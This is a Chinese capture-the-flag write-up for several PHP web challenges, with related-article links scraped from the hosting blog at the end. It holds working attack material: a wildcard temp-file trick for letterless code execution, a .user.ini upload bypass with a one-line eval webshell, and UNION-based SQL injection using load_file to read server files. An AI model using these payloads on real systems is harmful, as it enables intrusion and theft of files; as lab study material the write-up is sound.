0X03

红包题第二弹

看到源码里面的提示

?cmd=phpinfo();

看到源码

kk

关键点就是有两个正则表达式

第一个

preg_match("/[A-Za-oq-z0-9$]+/",$cmd)

第二个

preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)

从第一个发现小写字母p没有被过滤掉,同时也是做了许多的过滤

是无字母数字RCE,并且不能用取反,异或,自增去绕过

因为过滤了~^,异或和取反都不用考虑了

其他师傅的做法

利用上传的临时文件去命令执行getshell

基本思路就是上传?,然后利用eval($cmd)去执行它。既然知道临时文件夹下的命名规则,也没有过滤通配符?,构造./??p/p?p??????就能读到这个文件。

点就相当于source

用来执行文件。source /home/user/bash 等同于 . /home/user/bash

问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx

临时文件目录

php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file()

函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。

规则

默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp

linux下:phpXXXXXX。

后面的就有点整不懂了

先放一放

web13

文件上传的窗口

先上传php文件看,出现报错

访问upload.php

是不是备份文件,这个备份文件是系统自己产生的

加上.bak,

复制代码
<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

拓展名只能读取一个,且不能为php,文件的大小要小于24字节,不能有php

先传入.user.ini,进行写入

auto_prepend_file=1.txt

也就是后面传入的文件会以php的形式打开

传入1.txt

<?= @eval($_POST1);?>

连接显示返回数据为空

j检查一下,是已经上传成功的

glob() 函数返回匹配指定模式的文件名或目录

用函数看看目录下有什么文件

复制代码
?a=print_r(scandir('.'));

或者

复制代码
/?a=print_r(glob("*"));

尝试读取

复制代码
?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

获取flag

web14

源代码直接显示

复制代码
 <?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__); 

先可以尝试一下get

当我们输入c=3

刚开始的时候没有觉得什么奇怪的,后来想会不会是后面的文件路径

加上试一下

看到新的登录框

在尝试一下admin的时候,发现URL里面出现一个新的参数query=admin

query=1和2还有3有回显加上字符就没有了,应该就是数字型注入了,并且过滤掉空格

刚刚里面出现过一文件secret.php

在index.php中包含了一个secret.php,先读这个文件试试

load_file函数可以轻松读取本地文件的全部或部分内容

eg:load_file('/home/user/test.txt');

复制代码
?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")#

可以看到flag实际上是在:/real_flag_is_here,所以读这个文件

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

相关推荐
xfhuangfu7 小时前
Oracle中建立到CDB和PDB的连接
数据库·oracle·rpc
小小龙学IT7 小时前
DuckDB 深度实战:用 C++ 在进程内跑一个「分析型数据库」
数据库·c++
NineData8 小时前
DTCC 2026 预告|NineData CEO& 创始人叶正盛:面向 AI Agent 的数据库 DevOps 与数据复制实践
数据库·人工智能·数据库开发·devops·ninedata·数据库技术·dtcc
J_bean8 小时前
MySQL 事务是否必须手动开启?
数据库·mysql·数据库事务·自动提交·手动提交
小爬的老粉丝8 小时前
JavaScript 纯前端预览 WPS:先识别容器,再路由解析器
前端·javascript·wps
J_bean8 小时前
MySQL InnoDB 如何检测死锁、判定死锁、处理死锁
数据库·mysql·死锁·死锁检测·处理死锁·死锁判定
浪子明X9 小时前
从 MongoDB 文档到关系模型:构建可重跑、可对账的数据迁移流水线
数据库·mongodb·oracle
杜子不疼.9 小时前
国产数据库撑起固井软件自主化:金仓 × 中海油服「海恒 Cemsol」落地解析
数据库
隔窗听雨眠9 小时前
GBase 8s并发控制深度解析:封锁机制、隔离级别与死锁处理全攻略
服务器·数据库·oracle
刀客Doc9 小时前
即时零售不只是多一个渠道,品牌开始重做终端生意
大数据·数据库